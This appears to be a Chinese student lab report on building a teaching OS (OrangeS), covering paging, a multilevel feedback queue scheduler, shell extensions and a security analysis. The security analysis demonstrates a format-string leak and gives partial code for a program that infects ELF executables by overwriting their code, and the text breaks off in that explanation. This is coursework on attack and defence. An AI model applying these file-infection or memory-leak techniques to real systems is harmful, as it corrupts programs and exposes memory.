|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **武汉大学国家网络安全学院教学实验报告** | | | | | |
| 课程名称 | 操作系统设计与实践 | | 实验日期 | | 2021.12.12 |
| 实验名称 | 操作系统大作业 | | 实验周次 | | 5 |
| 姓名 | 学号 | | 专业 | | 班级 |
| 武若叶 | 2019302180149 | | 信息安全 | |  |
| 1. 实验目的及实验内容   （本次实验所涉及并要求掌握的知识；实验内容；必要的原理分析） | | | | | |
| 实验目的:  1. 巩固整理一学期所学知识  2. 加深对操作系统相关内容的理解  3. 从安全角度分析和设计操作系统及其功能  4. 结合所学的软件安全知识以及OS知识，分析掌握OS设计中潜在的安全问题  5. 学习与理解可信动态度量的基本思想与基本实现手段  实验内容:  PART A 部分 OS综合装配  任务一:  在已有实验代码基础上，将1-7章节进行功能综合，形成你自己的一个简易OS  – 功能要求：  • 可以考虑使用软盘或者硬盘，启动该mini-OS。  • 能够实现你在前面章节所实现的，内存分配与释放，  • 能够实现你在前面章节所实现的多进程管理与调度，  • 所有代码需用目录树结构管理，并添加完整的makefile编译，以及文档  任务二:  扩展shell要求  – 利用当前OrangeS所提供的系统调用和API，编写2个以上可执行程序（功能自  定），并编译生成存储在文件系统中  – 分析教材的Shell代码，画出Shell的流程图，在Shell中调入你所编写的可执行  程序，启动并执行进程  • 注意使用教材中所提供的系统调用来实现  – 进程结束后返回Shell  任务三（进阶要求，自选）  •改造任务二的shell，使其能够在同一个shell中，支持多任务执行  –注意现有内存管理可能不支持多程序支持  任务四（高阶要求，自选）  • 继续扩展程序，支持基于分页的虚拟内存管理  – 重点模拟实现请求调页的功能  – 页面替换算法考虑FIFO  PART B 部分 自我OS的安全性分析与可信防御  1. 自我OS安全分析  ① 分析提示：可执行文件的篡改、内存破坏漏洞、权限绕过等  ② POC实现：  ① 编写一个C程序，该程序查找OS中的可执行文件，对可执行文件添加额外的代码。  ② 编写一个程序，可对存在内存破坏漏洞的代码进行缓冲区溢出，控制返回地址到指定的位置  2. 可信防护（二选一）  ① 静态度量：  • 对你的OS进行扩充，编写一个程序模块，该程序模块能够在，当OS加载可执行文件时，对该可执行文件进行完整性校验，并进行比对。  • 完整性校验的算法，可采用简单的奇偶校验算法。  • 思考：  – 这样的度量，是否能够抵御对可执行文件的篡改？  – 完整性校验算法，使用奇偶校验算法，是否存在什么问题?  – 完整性校验值应该存在哪里?  ② 动态度量：  • 对你的OS进行扩充，编写一个软件中断，该中断能够响应定时中断触发  • 触发时，读取当前运行的进程的内存布局进行，并解析堆栈结构，检查堆栈返回地址是否合法  • 思考：  – 如何理解“合法”的概念？  – 你的实现能否抵御POC实现中，第二个攻击？  – 这种度量方法的效率如何，存在什么额外的安全问题? | | | | | |
| 1. 实验环境及实验步骤   （本次实验所使用的器件、仪器设备等的情况；具体的实验步骤） | | | | | |
| 实验环境:  Oracle Virtual Box 6.1.18  bochs 2.7.0  Ubuntu 14.04(32-bit)  实验步骤:  PARTA:    任务一:  1.考虑使用软盘启动, 选取chapter11/a的代码为基本代码  2.整合在第三章中实现的freePage和allocPage相关的函数  3.将调度算法修改为多级反馈队列算法  4.整理所有代码的目录树， 整理Makefile等文件  任务二:  1.规划实现ls程序显示当前目录下的所有文件, 实现rm程序删除当前目录下的某一个文件和实现touch程序在当前目录下创建一个空文件.  2.新增一个进程间通信的模块用于实现ls, 直接调用已有的文件系统中的接口unlink和open实现rm程序和touch程序.  3.编写相关代码, 修改makefile, 添加相关编译语句.  4.在command子目录下编译, 并且使用make install命令实现程序的打包和写入80m.img中.  任务三:  1.研究分析当前os中(orange)的shell的实现方法.  2.研究shabby\_shell的逻辑和代码.  3.对输入的命令做字符串解析, 一条命令中用&号分隔多条命令.  4.将fork函数一部分原子化, 防止进程间通信的bug.  5.添加回收多个子进程的代码.  任务四:  没选  PATR B  任务一:  1.分析当前的os代码实现和实现机理  2.从可执行文件的篡改, 内存破坏漏洞, 权限绕过等三个方面分析  3.实现attack程序, 对当前目录下所有文件进行修改, 覆盖源代码, 并且让其执行指定命令.  4.编写poc程序, 实现栈溢出, 将return address指向一个已有函数  任务二:  1.分析当前os对程序的载入的流程和原理.  2.发现在untar函数时对程序进行解压和载入, 所以选择在此处进行可执行文件的校验, 采用字节校验算法  3.在程序运行时, 对可执行文件进行校验, 若校验失败则相应报错,阻止运行  4.测试是否成功  任务三:  1.研究原os中系统调用的实现  2.根据任务要求, 添加一个系统调用check\_stack实现对当前运行的进程的堆栈结构的检查.  3.实现check\_stack函数的内部细节  4.对该种检查机制进行验证. | | | | | |
| 1. 实验过程分析   （实验分工，详细记录实验过程中发生的故障和问题，进行故障分析，说明故障排除的过程及方法。根据具体实验，记录、整理相应的数据表格等） | | | | | |
| **PART A:**  **任务一:**  **1.正常运行操作系统**  因为在之前的学习中, 都选用的是软盘启动, 所以此处选择使用软盘启动, orange代码中软盘启动的最新代码为chapter11/a中的代码.  该代码在进程通信时可能会出现bug, 出现操作系统无响应的情况.    首先需要解决该部分问题, 经询问老师得知需要将进程间通信的部分代码原子化, 在kernel/proc.c中将msg\_receive函数的部分代码前后添加disable\_int()和enable\_int()使其原子化. 从而让操作系统正常运行.  **2.添加页分配和页释放函数**  该部分内容为第三章中的内容, 直接在loader.asm中修改即可, 此处需要注意选择子的不同, 因为在此处并没有selectorData, 也没有数据段, 可以添加相应的段描述符和选择子, 但是因为此处的代码段都是从0到0xfffff, 所以直接使用现有段从结果上没有区别, 故直接修改选择子的名称即可. 同时需要注意对一些使用到的变量的添加.  下图为使用github桌面端记录的修改前后的代码变化. 该部分为添加使用到的变量.    此处提到的页分配并没有在后续的可执行程序或是可信检验中用到, 仅仅是作为整合之前内容使用. 只实现了页面的映射和取消映射, 在bochs的调试中能够看到页分配前后的变化.  使用一个bitmap记录哪些页被分配, 哪些页空闲  编写alloc\_a\_4k\_page用于分配一个页, 代码的解释已经在注释中标明.  **alloc\_a\_4k\_page:**                        *; arg none*  *; return eax: physical address*  *; physical address begin at 0x00000000*      push  ds        *; 保存现场*      push  es        xor eax, eax      mov ax, SelectorFlatRW      mov es, ax      mov ax, SelectorFlatRW      mov ds, ax     *; 初始化寄存器*    **.search:**      bts  [BitMap], eax    *; 在bitmap中寻找是否存在空闲页*  *;  bts函数能够直接读取bitmap的eax位是否空闲*      jnc  .find      inc  eax      cmp  eax,BitMapLen\*8  *; 判断是否超过最大, 若超过,则表示没有空闲*      jl   .search      hlt                   *; 该程序结束*  **.find:**      shl  eax,12           *; 找到后, 因为一个页是4k大小, 故左移12位*      pop  es      pop  ds      ret  编写alloc\_pages函数用于分配页, 也就是建立地址间的映射关系.  **alloc\_pages:**                               *; arg: eax : page number*  *; return ebx : linear address*      push ds            *; 保存现场*      push es        mov bx, SelectorFlatRW      mov ds, bx      mov bx, SelectorFlatRW      mov es, bx        mov ecx, eax              *; ecx means the number of page*      mov ebx, 4096      mul ebx           *; ebx means the size of pages*        mov ebx, [es:AvaLinearAddress] *; ebx means the return value*      add [es:AvaLinearAddress],eax  *; update the addresss of free linear address*      push ebx                  *; save the return value*      mov  eax, ebx      mov  ebx, cr3          and  ebx, 0xfffff000      and  eax, 0xffc00000      shr  eax, 20      add  ebx, eax             *; ebx means the pde item*      mov  edx, ebx      mov  ebx, [ebx]           *; ebx means the corresponding page table item*        test ebx, 0x0000\_0001      jnz  .pde\_exist        mov ebx, cr3      mov ebx, [ebx]      and ebx, 0xfffff000      shl eax, 10               *; eax means the size of used pages*      add ebx, eax      or  ebx, 0x0000\_0007      mov [edx], ebx  **.pde\_exist:**      mov eax,[esp]      and ebx, 0xfffff000       *; ebx的后12位需要置0*      and eax, 0x003ff000       *; eax只需要中间的10位*      shr eax, 10               *; 此处的右移10等价于右移12位再左移2位*      add ebx, eax  **.change\_pte:**      call alloc\_a\_4k\_page     *; 修改pde中的权限位,和存在位*      or eax, 0x00000007      mov [ebx] , eax      add ebx, 4      loop  .change\_pte        pop  ebx      pop es      pop ds      ret  此处反复出现的右移多少位后再左移两位, 是因为对齐粒度是一个地址, 也就是4个字节, 所以需要左移两位, 然后相加.  编写free\_pages函数用于取消地址间的映射关系.  **free\_pages:**              *; arg  eax,linear address , ebx  page number*      push ds      push es      push ebx         *; save eax and ebx*      push eax      mov bx, SelectorFlatRW      mov ds, bx      mov bx, SelectorFlatRW      mov es, bx       *; normal init*    *; find the pde and pte*      mov ebx, cr3      and ebx, 0xfffff000      and eax, 0xffc00000      shr eax, 20      *; 20 = 22 -2*      add ebx, eax     *; ebx now means the pde item*      mov edx, [ebx]      and edx, 0xfffffff8      mov [ebx], edx   *; set the final 3-bit zero and store back*        mov ebx, [ebx]   *; now ebx means the first pte item*        mov eax, [esp]          *; now eax is the liner address*      add esp, 4      and ebx,0xfffff000      and eax,0x003ff000      shr eax,10      add ebx, eax       *;  now ebx means the right pte item*      mov ecx, [esp]          *; here ecx means page number*      add esp,4  **.change\_pte:**                 *; set every item's last 3-bit zero*      mov eax, [ebx]      and eax, 0xfffffff8      mov edx, eax                *; now eax is the physical address*      shr edx, 12      btr [BitMap], edx      mov [ebx], eax      add ebx,32      loop .change\_pte      pop es      pop ds      ret  与alloc的思路基本相同, 找到相应的pde和pte项, 然后将其置为不在内存中即可, 同时将bitmap的相应位释放.  最后编写测试函数  **TestAllocAndFree:**      xchg bx,bx      mov eax,4      call alloc\_pages      xchg bx,bx      mov eax,ebx      mov ebx,4      call free\_pages      xchg bx,bx      ret  然后在合适的地方调用即可.  结果展示如下所示.可以看到在断点执行后地址的映射发生变化, 然后再调用free\_pages以后恢复到和之前一样.    事实上在orange中的地址映射应该是f(x) = x,但是在调用命令info tab显示时并没有, 在其他同学的电脑中验证发现是环境问题, 并非代码问题.  **3.添加多级反馈队列调度**  首先定义多级反馈队列的三个队列(kernel/proc.c)  #define **QUEUE\_LEN** 50  typedef struct **s\_queue** {      struct **proc**\* taskqueue[**QUEUE\_LEN**];      int front;      int rear;      int len;      int timep;  } **QUEUE**;  虽然其实len可以通过front和rear得到, 但是为了方便仍然添加了成员len.  初始化多级反馈队列(kernel/global.c)  **PUBLIC** **QUEUE** queue[3] = {{{0}, 0, 0, 0, 2},                           {{0}, 0, 0, 0, 5},                           {{0}, 0, 0, 0, 10}};  三个队列的时间片分别为2,5,10  然后在include/sys/global.h中声明, 作为全局可用, 于是在任何地方都有queue指向第一个队列.  **PUBLIC** **QUEUE** queue[3];  然后根据需要, 为每个进程添加是否在队中inqueue, 当前剩余运行时间runtime,所在队列号queuenum等参数.  struct **proc** {      struct **stackframe** regs;*/\* process registers saved in stack frame \*/*  **u16** ldt\_sel;*/\* gdt selector giving ldt base and limit \*/*      struct **descriptor** ldts[**LDT\_SIZE**];*/\* local descs for code and data \*/*      int ticks;*/\* remained ticks \*/*      int priority;      int runtime;      int inqueue;      int queuenum;  *..........*  };  然后为了减少代码的重复, 将代码的入队和出队操作封装成函数.  入队函数  int **inqueue**(struct **proc**\* p) {  *// 把p进队*  **QUEUE**\* tempqueue;      tempqueue = queue + p->queuenum;  *// 将当前程序放到队尾*      tempqueue->taskqueue[tempqueue->rear] = p;      tempqueue->rear = (tempqueue->rear + 1) % **QUEUE\_LEN**;      p->inqueue = 1;      tempqueue->len += 1;  出队函数  void **outqueue**(struct **proc**\* p) {  *// 把p所在队的队首出队*  **QUEUE**\* tempqueue;  *// \_\_asm\_\_ \_\_volatile\_\_("xchg %bx,%bx");*      tempqueue = queue + p->queuenum;      tempqueue->front = (tempqueue->front + 1) % **QUEUE\_LEN**;      p->inqueue = 0;      tempqueue->len -= 1;  *// 队首就绪, 出队*  }  因为此处的多级反馈队列调度需要考虑进程是否阻塞的问题, 所以不能直接将第六章的多级反馈队列调度直接复制于此, 所以对多级反馈队列调度进行了重新设计: 设计函数从队中取出一个可用的进程, 但并不直接调度至它,而是由调度进程判断是否需要调度, 进而判断抢占, 时间片用完等操作. 所以编写get\_one\_proc函数如下所示.  首先仿造原schedule中的方法, 判断是否有新进程入队, 若一个进程当前为可执行状态, 并且不在队中, 则将其入队. 因为每次执行进程都会使进程出队, 所以在最开始初始化保证了每次调用该函数都能拿到进程.  struct **proc**\* **get\_one\_proc**() {  *// 每次能拿到一个进程 , 且不可能拿不到*      struct **proc**\* p;  **QUEUE**\* tempqueue;      int now\_queue\_num = 0;      for (p = &**FIRST\_PROC**; p <= &**LAST\_PROC**; p++) {          if (p->p\_flags == 0 && p->inqueue == 0 &&              (p != p\_proc\_ready || queue->len == 0)) {  *// \_\_asm\_\_ \_\_volatile\_\_("xchg %bx, %bx");makei e*              p->ticks = queue->timep;  *// 进队进行初始化*              p->queuenum = 0;              p->runtime = 100;  **inqueue**(p);  *// disp\_int(p - &FIRST\_PROC);*          }      }      now\_queue\_num = 0;      while (now\_queue\_num <= 2) {  *// 在三个队列中找能运行的程序*          tempqueue = queue + now\_queue\_num;          int length = 0;          int point = tempqueue->front;          while (tempqueue->taskqueue[point]->p\_flags != 0 &&                 length < tempqueue->len) {  **outqueue**(tempqueue->taskqueue[point]);  **inqueue**(tempqueue->taskqueue[point]);  *// 如果是阻塞的则先出队再入队*              length += 1;              point = (point + 1) % **QUEUE\_LEN**;          }          if (length < tempqueue->len) {  *// 找到一个*              return tempqueue->taskqueue[point];          }          now\_queue\_num++;      }  }  然后编写调度函数, 需要考虑, 是否发生抢占? 若没发生, 当前时间片是否用完, 当前程序运行时间是否结束? 基于以上分支, 编写调度函数如下所示.  void **myschedule**() {      struct **proc** \*p, \*next;      next = **get\_one\_proc**();      if (p\_proc\_ready->ticks && p\_proc\_ready->runtime &&          next->queuenum >= p\_proc\_ready->queuenum) {          return;      }      if (p\_proc\_ready->runtime == 0) {  *// 结束了*          p\_proc\_ready = next;  **outqueue**(next);          return;      }      if (p\_proc\_ready->ticks == 0) {  *// 当前时间片用完, 进队,且选下一个*          if (p\_proc\_ready->queuenum < 2) {              p\_proc\_ready->queuenum += 1;  *// 进到下一队列*          }          p\_proc\_ready->ticks = (queue + p\_proc\_ready->queuenum)->timep;  **inqueue**(p\_proc\_ready);          p\_proc\_ready = next;  **outqueue**(next);          return;      }      if (next->queuenum < p\_proc\_ready->queuenum) {  *// 抢占*  **inqueue**(p\_proc\_ready);          p\_proc\_ready = next;  **outqueue**(next);          return;      }  }  此处还存在一个地方对进程的调度存在控制, 因为此处存储在进程的阻塞, 而程序阻塞后需要选出下一个执行的程序, 否则就会发生死锁, 所以需要在block函数中也进行相应的修改.  **PRIVATE** void **block**(struct **proc**\* p) {  **assert**(p->p\_flags);  **inqueue**(p);      struct **proc**\* next = **get\_one\_proc**();      p\_proc\_ready = next;  **outqueue**(next);  *// disp\_int(p\_proc\_ready - &FIRST\_PROC);*  }  然后修改clock.c中的clock\_handler函数让当前进程的时间片和运行时间减1.  **UBLIC** void **clock\_handler**(int irq) {      if (++ticks >= **MAX\_TICKS**)          ticks = 0;      if (key\_pressed)  **inform\_int**(**TASK\_TTY**);      if (k\_reenter != 0) {          return;      }  *// if (p\_proc\_ready->ticks > 0) {*  *//     return;*  *// }*      if (p\_proc\_ready->ticks)          p\_proc\_ready->ticks--;      if (p\_proc\_ready->runtime)          p\_proc\_ready->runtime--;  **myschedule**();  .....  编写了两个可执行程序, 一个打印1 一个打印0 ,用于判断调度是否成功, 但是发现0和1总是交替出现    原以为是表示多级反馈队列失败了, 但是经过思考后发现, 其实是因为, 在tty中打印1和0 都调用了printf函数, 而该函数是基于进程间通信实现的, 也就造成了进入阻塞状态, 于是在打印0之前, 阻塞自己, 进入了阻塞状态, 于是在get\_next\_proc函数中, 该进程也就到了队尾, 于是下一次调度出来的一定是打印0 , 所以就出现了0和1的交替出现, 所以要验证该多级反馈队列不能使用出现阻塞的情况, 所以直接在clock\_handler函数中, 打印当前调度出来的进程.    此处的0x06对应进程testa, 0x07,0x08分别对应testb和testc, 都是只有一个for循环并且死循环的函数, 所以不会进入阻塞, 可以通过他们查看进程调度情况. 可以看到,出现了2,5,10的情况, 说明了多级反馈队列调度是成功的, 符合预期.  **4.目录树结构与makefile**  因为在chapter11的基础上修改, 所以本身就符合目录树结构和有规范的makefile. 只需做少量修改即可. 使用linux 的tree指令查看树结构如下所示.  ├── 123.sh  ├── 80m.img  ├── a.img  ├── bochsrc  ├── boot  │   ├── boot.asm  │   ├── boot.bin  │   ├── hdboot.asm  │   ├── hdboot.bin  │   ├── hdloader.asm  │   ├── hdloader.bin  │   ├── include  │   │   ├── fat12hdr.inc  │   │   ├── load.inc  │   │   └── pm.inc  │   ├── loader.asm  │   └── loader.bin  ├── command  │   ├── a  │   ├── a.c  │   ├── b  │   ├── b.c  │   ├── echo  │   ├── echo.c  │   ├── hdboot.bin  │   ├── hdloader.bin  │   ├── inst.tar  │   ├── kernel.bin  │   ├── Makefile  │   ├── pwd  │   ├── pwd.c  │   └── start.asm  ├── fs  │   ├── disklog.c  │   ├── link.c  │   ├── main.c  │   ├── misc.c  │   ├── open.c  │   └── read\_write.c  ├── include  │   ├── stdio.h  │   ├── string.h  │   ├── sys  │   │   ├── config.h  │   │   ├── console.h  │   │   ├── const.h  │   │   ├── fs.h  │   │   ├── global.h  │   │   ├── hd.h  │   │   ├── keyboard.h  │   │   ├── keymap.h  │   │   ├── proc.h  │   │   ├── protect.h  │   │   ├── proto.h  │   │   ├── sconst.inc  │   │   └── tty.h  │   └── type.h  ├── kernel  │   ├── clock.c  │   ├── console.c  │   ├── global.c  │   ├── hd.c  │   ├── i8259.c  │   ├── kernel.asm  │   ├── keyboard.c  │   ├── kliba.asm  │   ├── klib.c  │   ├── main.c  │   ├── proc.c  │   ├── protect.c  │   ├── start.c  │   ├── systask.c  │   └── tty.c  ├── kernel.bin  ├── krnl.map  ├── lib  │   ├── close.c  │   ├── exec.c  │   ├── exit.c  │   ├── fork.c  │   ├── getpid.c  │   ├── lseek.c  │   ├── misc.c  │   ├── open.c  │   ├── orangescrt.a  │   ├── printf.c  │   ├── read.c  │   ├── stat.c  │   ├── string.asm  │   ├── syscall.asm  │   ├── syslog.c  │   ├── unlink.c  │   ├── vsprintf.c  │   ├── wait.c  │   └── write.c  ├── Makefile  ├── mm  │   ├── exec.c  │   ├── forkexit.c  │   └── main.c  └── scripts  ├── genlog  └── splitgraphs  10 directories, 93 files  Makefile文件为原makefile文件, 此处不赘述, 可以在源项目中查看.  **任务二:**  **1.编写rm和touch可执行程序**  研究一番原文件系统中的接口, 发现直接调用unlink函数即可删除文件, 直接调用open函数即可创建文件, 仿造pwd和echo程序的实现,编写rm.c和touch.c如下所示.  rm.c  #include "stdio.h"  int **main**(int args, char\* argv[]) {      if (args != 2) {  **printf**("please use the rm in right format\n");      } else {          if (**unlink**(argv[1]) == -1) {  **printf**("rm file failed\n");              return -1;          }  **printf**("%s is successfully removed\n", argv[1]);      }      return 0;  }  touch.c  #include "stdio.h"  int **main**(int args, char\* argv[]) {  *// create文件需要使用open函数*      int fd = **open**(argv[1], O\_CREAT);      if (fd != -1) {  **printf**("create %s successfully\n", argv[1]);      } else {  **printf**("faile to create %s\n", argv[1]);      }      return 0;  }  在makefile中添加编译指令  **touch.o**: touch.c ../include/type.h ../include/stdio.h      $(CC) $(CFLAGS) -o $@ $<  **touch** : touch.o start.o $(LIB)      $(LD) $(LDFLAGS) -o $@ $?  **rm.o**: rm.c ../include/type.h ../include/stdio.h      $(CC) $(CFLAGS) -o $@ $<  **rm** : rm.o start.o $(LIB)  然后make ,make install 将可执行文件写入到软盘中即可在操作系统中执行.  **2.编写ls程序**  此处的ls程序需要打印当前目录下的所有文件, 此处模拟一个进程间通信来实现. 所以要添加一个search\_dir的调用.  模仿其他接口写一个发消息文件 lib/search\_dir.c  **PUBLIC** char\* **search\_dir**(char\* path) {      MESSAGE msg;      msg.type = SEARCH;  *// msg.pBUF[0] = 'y';*  *// msg.pBUF[1] = 'j';*  *// msg.pBUF[2] = 'q';*  **memcpy**(msg.pBUF, path, **strlen**(path));  *// printl("msg.pBug address is %d\n", msg.pBUF);*  *// printl("BUF : %s\n", msg.pBUF);*  **send\_recv**(**BOTH**, **TASK\_FS**, &msg);  *// return msg.BUF;*      return msg.pBUF;  }  为message.type枚举体中增加了一个SEARCH, 并且为message新增了一个缓冲区pBuf, 用于存储结果.  在fs/main.c的task\_fs中, 添加一个case     case SEARCH:                  fs\_msg.**BUF** = **do\_search\_dir**();                  break;  然后编写do\_search\_dir(fs/search\_dir.c中)函数, 基本仿造原有的search函数.  **PUBLIC** int **do\_search\_dir**() {      struct **inode**\* dir\_inode;      char filename[MAX\_PATH];      char\* dir = fs\_msg.pBUF;      int pointer = 0;  **printl**("here : %s\n", dir);  **memset**(filename, 0, **MAX\_FILENAME\_LEN**);      if (**strip\_path**(filename, dir, &dir\_inode) != 0) {          return 0;      }  *// printl("dir:%s\n", dir);*  *// printl("buf:%s\n", fs\_msg.pBUF);*  *// printl("dir\_node:%d\n", dir\_inode);*      int dir\_blk0\_nr = dir\_inode->i\_start\_sect;      int nr\_dir\_blks = (dir\_inode->i\_size + **SECTOR\_SIZE** - 1) / **SECTOR\_SIZE**;      int nr\_dir\_entries =          dir\_inode->i\_size / **DIR\_ENTRY\_SIZE**;      struct **dir\_entry**\* pde;      int i, j;      for (i = 0; i < nr\_dir\_blks; i++) {  **RD\_SECT**(dir\_inode->i\_dev, dir\_blk0\_nr + i);          pde = (struct **dir\_entry**\*)fsbuf;          for (j = 0; j < **SECTOR\_SIZE** / **DIR\_ENTRY\_SIZE**; j++, pde++) {  *// printl("%s  ", pde->name);*              dir[pointer] = ' ';              pointer += 1;  **memcpy**(dir + pointer, pde->name, **strlen**(pde->name));              pointer += **strlen**(pde->name);          }      }  *// printl("after for : %s\n", dir);*      return (void\*)0;  }  实现了这个接口后, 就可以像实现rm和touch一样, 直接调接口  command/ls.c  #include "stdio.h"  #include "string.h"  #include "fs.h"  #include "const.h"  int **main**(int args, char\* argv[]) {      char\* result;      result = **search\_dir**("/");  **printf**("%s\n", result);      return 0;  }  同样在makefile中添加相关内容 , 然后写盘即可运行.效果如下.    **3.shell的流程图**  此流程图为源代码中不支持并行的shell的流程图    **任务三:**  **1.采用 ‘&’分隔命令的字符串解析.**  在原shell中, 已经有将输入命令通过空格进行解析的操作, 已经将内容装在了argv中, 所以只需要在其中解析argv中的内容 , 并且读到&号时作为解析完一条指令, 然后按照原方法, fork和execv即可  void **shabby\_shell**(const char\* tty\_name) {      int fd\_stdin = **open**(tty\_name, O\_RDWR);  **assert**(fd\_stdin == 0);      int fd\_stdout = **open**(tty\_name, O\_RDWR);  **assert**(fd\_stdout == 1);      char rdbuf[128];      while (1) {  **write**(1, "$ ", 2);          int r = **read**(0, rdbuf, 70);          rdbuf[r] = 0;          int argc = 0;          char\* argv[PROC\_ORIGIN\_STACK];          char\* p = rdbuf;          char\* s;          int word = 0;          char ch;          do {              ch = \*p;              if (\*p != ' ' && \*p != 0 && !word) {                  s = p;                  word = 1;              }              if ((\*p == ' ' || \*p == 0) && word) {                  word = 0;                  argv[argc++] = s;                  \*p = 0;              }              p++;          } while (ch);          argv[argc] = 0;  *// printf("here is argv[0]:%d", argv[0]);*  *// 此时已经将argc和argv准备好*  *// \_\_asm\_\_ \_\_volatile\_\_("xchg %bx, %bx");*          int i;          int count = 1;  *// count 用于计算总的指令个*          for (i = 0; i < argc; i++) {  *// printf("%d: %s\n", i, argv[i]);*              if (argv[i][0] == '&') {                  count += 1;              }          }          char\* sub\_argv[PROC\_ORIGIN\_STACK];          int sub\_argc = 0;          int children[MAX\_CHILDREN];          int childnum;          for (i = 0; i <= argc; i++) {              if (argv[i][0] != '&' && i != argc) {                  sub\_argv[sub\_argc] = argv[i];                  sub\_argc += 1;              } else {                  sub\_argv[sub\_argc] = 0;  *// printf("%s,%d\n", sub\_argv[0], sub\_argc - 1);*                  int fd = **open**(sub\_argv[0], O\_RDWR);                  if (fd == -1) {                      if (rdbuf[0]) {  **write**(1, "{", 1);  **write**(1, rdbuf, r);  **write**(1, "}\n", 2);                      }  count-- ;                  } else {  **close**(fd);                      int pid = **fork**();                      if (pid != 0) { */\* parent \*/*                          int s;  *// children[childnum++] = s;*  *// wait(&s);*                      } else { */\* child \*/*  *//\_\_asm\_\_ \_\_volatile\_\_("xchg %bx, %bx");*  **execv**(sub\_argv[0], sub\_argv);  *// printf("for test\n");*                      }                  }                  sub\_argc = 0;              }          }          int temp;  *// 回收子进程, 提高稳定性*          while (count--) {              int temp1 = **wait**(&temp);  **printf**("%d\n", temp1);          }  *// printf("here");*  *// for (i = 0; i < childnum; i++) {*  *//     wait(&children[childnum]);*  *// }*      }  **close**(1);  **close**(0);  }  正常的解析字符串后对每个指令都进行fork和execv, 并且在一整条指令运行结束后, 等待所有的子进程结束后才去读取下一条指令 , 防止太多出错.  同时, 因为两个fork相隔很近, 在运行时发现有时遇到了多指令并行时的系统无响应的情况, 于是将fork的部分代码原子化, 有效解决了该问题.  最终的实现结果如下所示.    但是若并行指令过多, 或是执行较多命令后, 仍然会出现错误, 并且错误原因未知, 但是两条命令一般能正常运行.    **PART B**  **任务一:**  **(1)自我os安全分析**  **a.存在格式化字符串漏洞**  格式化字符串漏洞是在调用printf时, 若格式化字符串为用户的输入, 则会打印出栈中的数据, 攻击者能够查看到内存中的数据, 基本可以实现任意位置内存读写, 如果读栈内数据则使用%x, 若使用%s则能够读取栈内数据对应的内存的数据. 不过因为该os中未实格式化字符串的%n的解析, 所以不会出现向任意内存写的后果.  格式化字符串漏洞带来的问题包括: 内存中的数据泄露, 访问到不可访问内存地址出现访问错误导致操作系统卡死等.  产生原因, 查看此处的printf的实现, 打开lib/printf.c, 找到其中的printf函数, 如下所示.  **PUBLIC** int **printf**(const char \*fmt, ...)  {          int i;          char buf[STR\_DEFAULT\_LEN];  **va\_list** arg = (**va\_list**)((char\*)(&fmt) + 4);        */\* 4 是参数 fmt 所占堆栈中的大小 \*/*          i = **vsprintf**(buf, fmt, arg);          int c = **write**(1, buf, i);  **assert**(c == i);          return i;  }  可以看到在printf中并没有传入后续参数的个数, 而是直接将第一个参数的地址和格式化字符串传给了vsprintf, vsprintf函数的作用则是解析格式化字符串, 若是读到格式化字符, 则使用参数的值将其替换, 所以若实际上并没有与格式化字符串中的格式化字符数量相匹配的参数, 则会泄露栈中的数据.  暂时修改pwd函数为printf(argv[1])如下所示  #include "type.h"  #include "stdio.h"  int **main**(int argc, char\* argv[]) {  **printf**(argv[1]);  *// printf("/\n");*      return 0;  }  编译运行后如图所示    可以看到, 出现了内存数据的泄露.  **b.存在可执行文件的破坏**  **如下所提及的attack程序所示**  **c.存在内存破坏漏洞, 栈溢出漏洞**  **如下所提及的poc程序所示**  **(2)attack程序的实现**  该程序作用为遍历当前目录下的所有文件, 逐个判断是否是elf格式的可执行文件, 若是, 则将其修改为打印“i am infected”, 并且调用exit函数退出.  遍历文件采用在partA中实现的系统调用search\_dir, 获得当前目录下的所有文件, 以空格分隔, 提取出其中的所有文件, 对其每个判断是否是elf文件, 不过此时不判断dev\_tty0等文件, 因为使用open函数直接读取他们会出现错误, 导致系统无响应(猜测是不可重复开启这几个文件)  是否是elf文件的判断,直接比较相应位置是否是ELF即可, 编写判断函数如下.  int **is\_elf**(**Elf32\_Ehdr** elf\_ehdr) {  *// ELF文件头部的 e\_ident 为 "0x7fELF"*      if ((**strncmp**(elf\_ehdr.e\_ident, **ELFMAG**, **SELFMAG**)) == 0)          return 1;  *// 是*      else          return 0;  *// 不是*  }  因为要覆盖原程序的代码, 所以要找到原代码的开始位置, 也就是text节的开始位置.  int e\_sho\_off = elf\_ehdr.e\_shoff;  int section\_num = elf\_ehdr.e\_shnum;  **lseek**(old\_file, e\_sho\_off + sizeof(elf\_shdr), **SEEK\_SET**);  *// 定位到text节的位置*  **read**(old\_file, &elf\_shdr, sizeof(elf\_shdr));  *//读出text节*  int text\_offset = elf\_shdr.sh\_offset;  *// 找到代码段的偏移*  然后需要知道printf函数和exit函数的位置, 研究elf文件格式发现, symtable中存储着每一个函数的位置, 不过名称并不好获得, 在symtab中存储的只是每个函数的名称相对于str\_tab段的偏移, 所以首先还需要找到str\_tab段.    经过分析发现, strtab节都是此处elf文件的第7个节(从0开始) ,所以直接读取之, 获得strtab节的首地址, 并将整个节读取到内存中.    **lseek**(old\_file, e\_sho\_off + sizeof(elf\_shdr) \* 7, **SEEK\_SET**);  **read**(old\_file, &elf\_shdr,          sizeof(elf\_shdr));  *// 读出strtab节*  int str\_offset =      elf\_shdr.sh\_offset;  *// 找到strtab的段的偏移*  char str\_buf[1000];  **lseek**(old\_file, str\_offset, **SEEK\_SET**);  **read**(old\_file, str\_buf, sizeof(str\_buf));  此时整个strtab节都已经在str\_buf中 , 然后根据此部分内容和symtab中的每一项对应的函数名逐个比对是否是printf函数和exit函数,  int sym\_num =  (str\_offset - (e\_sho\_off + sizeof(elf\_shdr) \* 8)) / 16;  *// symbol\_table项的个数*  **lseek**(old\_file, e\_sho\_off + sizeof(elf\_shdr) \* 8, **SEEK\_SET**);  int i = 0;  unsigned int printf\_address, exit\_address;  *// 前者存储printf的文件中位置,*  *// 后者存储exit函数的文件中位置*  int printf\_flag = 0, exit\_flag = 0;  for (i = 0; i < sym\_num; i++) {  **read**(old\_file, &elf\_sym, sizeof(elf\_sym));  if (**strcmp**(str\_buf + elf\_sym.st\_name, "printf") == 0) {      printf\_flag = 1;      printf\_address = elf\_sym.st\_value;  }  if (**strcmp**(str\_buf + elf\_sym.st\_name, "exit") == 0) {      exit\_flag = 1;      exit\_address = elf\_sym.st\_value;  }  if (printf\_flag && exit\_flag) {      break;  }  }  if (i == sym\_num) {  **printf**(      "not find printf or not find exit\n");  *// 不应该发生*  }  此时已经获得了printf函数和exit函数的地址, 但是并不能直接跳转到该地址, 因为汇编代码中语句都是如 jmp 